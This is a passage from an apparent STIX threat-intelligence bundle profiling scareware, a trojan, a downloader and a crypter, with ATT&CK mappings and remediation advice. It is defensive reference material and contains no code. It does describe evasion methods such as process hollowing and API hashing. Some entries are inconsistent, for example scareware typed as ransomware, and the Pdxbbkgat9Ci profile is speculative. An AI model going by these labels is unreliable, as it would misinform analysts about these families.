      "description": "Rogue:Win32/Pcoptimizerpro is a classic example of 'Rogue Software', 'Scareware', or a 'Fake System Optimizer'. It masquerades as a legitimate PC performance enhancement utility, performing fabricated system scans that inevitably report hundreds of non-existent driver errors, registry issues, or privacy risks. Its sole objective is to employ aggressive, deceptive social engineering to frighten the user into purchasing a premium license to 'fix' the fabricated issues (`T1566.002`).<br><br><b>Understanding Pcoptimizerpro (Fake Optimizers)</b><br>To a non-technical end-user, Pcoptimizerpro appears to be a helpful (if alarming) utility warning them of impending system failure. For a security analyst, it is fraudulent software. It steals financial data via fraudulent transactions, degrades endpoint performance, and causes significant helpdesk overhead due to panicking users.<br><br><b>Execution and Deception Mechanics</b><br>Pcoptimizerpro is primarily distributed through deceptive malvertising, drive-by downloads (`T1189`), or bundled with other freeware installers. Upon execution, it establishes persistence by modifying the Registry Run keys (`T1547.001`) to ensure it launches on boot. To force payment, it actively displays persistent, unclosable desktop pop-ups (`T1491.001`) claiming the system is critically damaged. It may also alter browser settings to redirect the user directly to its payment portal, making it difficult to search for removal instructions.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss for the user (fraud) and reduced endpoint usability. Host-based IoCs include the presence of the 'PC Optimizer Pro' application demanding payment, persistent desktop pop-ups, and the creation of Scheduled Tasks or Run keys designed to launch the scanner daily. EDR telemetry will log the software's autostart registry modifications and its rapid creation of fraudulent log files used to 'prove' the system errors. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcoptimizerpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcoptimizerpro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c01eac4a-b611-5687-8944-226ecb276345",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d6b5f08-9277-5625-b314-6969674c0fb5",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcoptimizerpro exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering tactics to drive installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7da484c-c4a2-5f26-ade9-ad869f78476d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d6b5f08-9277-5625-b314-6969674c0fb5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcoptimizerpro exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da19190a-8849-5c15-b65b-bef7f6457730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d6b5f08-9277-5625-b314-6969674c0fb5",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcoptimizerpro exhibits technique T1491.001 (Defacement: Internal Defacement (Persistent scareware pop-ups on the desktop))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--91a9bcf6-a605-5236-85b1-841c6d1991aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcrepair",
      "description": "<h3>Executive Summary</h3>\nPCRepair (often encountered under various generic names like \"PC Repair Pro\" or \"Advanced PC Repair\") is a classification for Rogue Security Software, specifically operating as \"Scareware.\" It masquerades as a legitimate system optimization or antivirus utility. Its true objective is to perform fake system scans, generate alarming false-positive error reports, and use psychological manipulation to trick the user into purchasing a \"premium license\" to fix non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPCRepair relies heavily on malvertising and deceptive software bundling. Users frequently encounter it via highly aggressive pop-up ads on dubious websites (e.g., \"Your PC is infected with 5 viruses! Click here to clean.\"). It is also commonly installed silently alongside other freeware downloaded from third-party aggregators.\n\nOnce installed, the software employs highly aggressive and deceptive tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports that the registry is corrupt, the hard drive is failing, or severe malware is present, creating a false sense of urgency.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of PCRepair may employ locking tactics. They may disable the Task Manager, block access to legitimate antivirus software, or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Browser Hijacking:</strong> It frequently installs accompanying browser extensions or modifies system DNS settings to inject advertisements and redirect search queries to affiliate-monetized search engines.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PCRepair poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCRepair",
        "Scareware.PCRepair",
        "Win32/FakeAV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcrepair",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcrepair"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95c3cec3-2b5e-5009-bc0e-77eb9c1797e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91a9bcf6-a605-5236-85b1-841c6d1991aa",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcrepair exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7e368f4-b37e-5972-8fcc-56ec26543dc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91a9bcf6-a605-5236-85b1-841c6d1991aa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcrepair exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a39aac2-e161-5468-9493-84d151e080e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91a9bcf6-a605-5236-85b1-841c6d1991aa",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcrepair exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--304bd3b4-38a3-5fe9-bf6f-5b7932b94076",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcreviver",
      "description": "Rogue:Win32/Pcreviver represents a classic example of **'Scareware' or Fake System Optimizers**. It is a deceptive program that masquerades as a legitimate Windows utility, antivirus, or registry cleaner. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical errors or malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Pcreviver (Scareware)</b><br>To an end-user, Pcreviver is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language (e.g., 'CRITICAL SYSTEM FAILURE IMMINENT') to induce panic. It preys on the user's lack of technical knowledge. For a security analyst, Pcreviver is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files or steal credentials like a true trojan, it significantly degrades the user experience and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Pcreviver is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files or standard registry keys as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally slow down the computer or block the execution of legitimate administrative tools (like Task Manager or Registry Editor), claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'optimization' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcreviver",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcreviver"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eded04c0-fc9a-5d15-a7fd-6d7cb7974234",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--304bd3b4-38a3-5fe9-bf6f-5b7932b94076",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcreviver exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0968e3de-43b0-551f-a9b5-c5e3c8f7758f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--304bd3b4-38a3-5fe9-bf6f-5b7932b94076",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcreviver exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0eaad42c-5d62-5592-8f8e-6cc3a8395a43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--304bd3b4-38a3-5fe9-bf6f-5b7932b94076",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcreviver exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a50073fd-ed50-5d79-9b9e-50da4de6b672",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--304bd3b4-38a3-5fe9-bf6f-5b7932b94076",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcreviver exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--40e271db-36e6-52a9-b51b-5dcecd5b1eb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcvark",
      "description": "<h3>Executive Summary</h3>\nPCVARK (often associated with applications like \"Advanced Mac Cleaner\" or various Windows \"System Optimizers\") is a deceptive software vendor heavily classified by security engines as a Potentially Unwanted Program (PUP) or \"Rogue Security Software.\" It employs classic scareware tactics, performing superficial system \"scans\" to generate alarming false-positive reports about critical registry errors, severe fragmentation, or \"privacy risks.\" Its sole objective is to frighten the user into purchasing a \"premium license\" to fix these non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPCVARK software relies almost entirely on aggressive malvertising, Search Engine Optimization (SEO) poisoning, and deceptive software bundling. Users typically encounter it via alarming browser pop-ups claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently alongside the desired software.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Nagging):</strong> It establishes aggressive persistence via registry `Run` keys and scheduled tasks (or LaunchDaemons on macOS), ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n<li><strong>Uninstallation Friction:</strong> The software often makes it deliberately difficult for the user to uninstall it via standard OS mechanisms, leaving orphaned files and registry keys that may attempt to reinstall the application.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PCVARK software poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus sometimes ignores PUPs. Utilize a reputable enterprise anti-malware solution specifically tuned for Rogue Software and Scareware removal (like Malwarebytes) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Manual Cleanup:</strong> If automated removal fails, IT administrators may need to manually remove the orphaned registry keys in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` or macOS LaunchAgents that are forcing the software to launch.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.PCVARK",
        "Rogue.SystemOptimizer",
        "Scareware.MacCleaner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcvark",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcvark"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8054c4b4-1024-5418-811d-8fd0ffd3d880",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40e271db-36e6-52a9-b51b-5dcecd5b1eb8",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcvark exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14acd8cd-4674-5d72-9a1d-04855f67b5ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40e271db-36e6-52a9-b51b-5dcecd5b1eb8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcvark exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0aa0d80e-3982-57ab-a5d6-5ee0e80dbcec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40e271db-36e6-52a9-b51b-5dcecd5b1eb8",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcvark exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8c6b58c-a873-5355-9768-57dd19774cdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pdxbbkgat9Ci",
      "description": "<h3>Executive Summary</h3>\nPdxbbkgat9ci is a heuristic detection name assigned to a highly obfuscated Trojan variant. The randomly generated alphanumeric name strongly suggests the use of a Domain Generation Algorithm (DGA) for Command and Control (C2) communication or a polymorphic packing engine designed to dynamically alter the file's hash on every execution, making traditional signature-based detection highly ineffective.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware bearing such randomized nomenclature is typically delivered as a secondary payload. An initial access broker or a primary downloader (like Emotet or Trickbot) drops this obfuscated executable onto the victim's machine once a foothold is established.\n\nUpon execution, this trojan prioritizes stealth and evasion:\n<ul>\n<li><strong>Polymorphism and Packing:</strong> The executable is heavily packed. It unpacks itself directly into memory (fileless execution) to hide its true intent from static analysis tools.</li>\n<li><strong>Process Injection:</strong> It frequently utilizes Process Hollowing, suspending a legitimate Windows process (e.g., `svchost.exe`) and replacing its memory space with the malicious code, allowing it to bypass application whitelisting and firewall rules.</li>\n<li><strong>C2 Communication:</strong> The malware likely utilizes a DGA to programmatically generate hundreds of potential C2 domain names daily. It attempts to resolve these until it finds one registered by the attacker, allowing it to receive further instructions or exfiltrate data while evading static domain blocklists.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a highly obfuscated trojan like Pdxbbkgat9ci is a critical indicator of compromise. It signifies that advanced evasion techniques have bypassed initial defenses. The payload could be anything from a silent info-stealer to a precursor for a network-wide ransomware deployment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires Endpoint Detection and Response (EDR) solutions that monitor for anomalous process behavior (like injection or unexpected outbound network connections) rather than relying on file hashes.</li>\n<li><strong>Network Isolation and DNS Filtering:</strong> Immediately isolate the machine. Analyze DNS logs for high volumes of NXDOMAIN (Non-Existent Domain) responses, which strongly indicate DGA activity, and block the successful resolutions.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion tactics and the likelihood of undiscovered secondary payloads, a complete bare-metal wipe and re-image from a trusted backup is the most secure remediation path.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pdxbbkgat9ci",
        "Win32/Trojan.Obfuscated",
        "Suspicious.DGA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pdxbbkgat9Ci",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pdxbbkgat9ci"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c42c71d2-9cfc-5c15-9092-3ea13d486b64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c6b58c-a873-5355-9768-57dd19774cdf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pdxbbkgat9Ci exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01334ed4-016b-5b22-bb98-6da034569284",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c6b58c-a873-5355-9768-57dd19774cdf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pdxbbkgat9Ci exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1521dff4-3bcc-59a9-ba8d-8fd085e90634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c6b58c-a873-5355-9768-57dd19774cdf",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pdxbbkgat9Ci exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--168ba132-2226-5cc3-b5d9-ca8a94239f6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c6b58c-a873-5355-9768-57dd19774cdf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pdxbbkgat9Ci exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Peals",
      "description": "Trojan:Win32/Peals is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Peals</b><br>To an end-user, a Peals infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Peals is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Peals is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Peals frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Peals reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Peals",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/peals"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--beea21d5-9e2d-52d3-8ebd-a1368e807f43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peals exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc98098c-1c9b-5f8e-840f-5febcb553577",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peals exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0b74980-12a3-5369-b92d-7b558c4a9778",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peals exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4bab447-6993-5c9c-970c-732217bcce8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peals exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aad7798d-f601-59be-86c9-cf81154faca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a82e07b-f093-5c48-9c55-80b1688deccf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peals exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b14e287-1257-59d4-b6f3-240b58f5426c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pedex",
      "description": "Pedex (cataloged in antimalware repositories under signatures including VirTool:Win32/Pedex, Trojan:Win32/Pedex, and Trojan.Pedex) is an evasive binary crypter, runtime PE packer, and initial access stager active since 2015. Engineered to conceal commodity malware payloads (such as banking trojans, keyloggers, and ransomware) from signature-based antivirus scanning, Pedex encrypts the target executable and wraps it inside an obfuscated loader stub. Upon execution, Pedex checks for virtual machine artifacts and debugging hooks, allocates executable memory, dynamically resolves native NT APIs via Process Environment Block (PEB) hashing, and unpacks the original binary directly into memory using process hollowing techniques into svchost.exe or explorer.exe. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Pedex",
        "Trojan:Win32/Pedex",
        "Trojan.Pedex",
        "Win32/Pedex",
        "VirTool:Win32/Pedex.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pedex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pedex"
        }
      ],
      "labels": [
        "crypter",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25d2f99c-bcdd-50e7-aa16-5c99e4e9a50f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
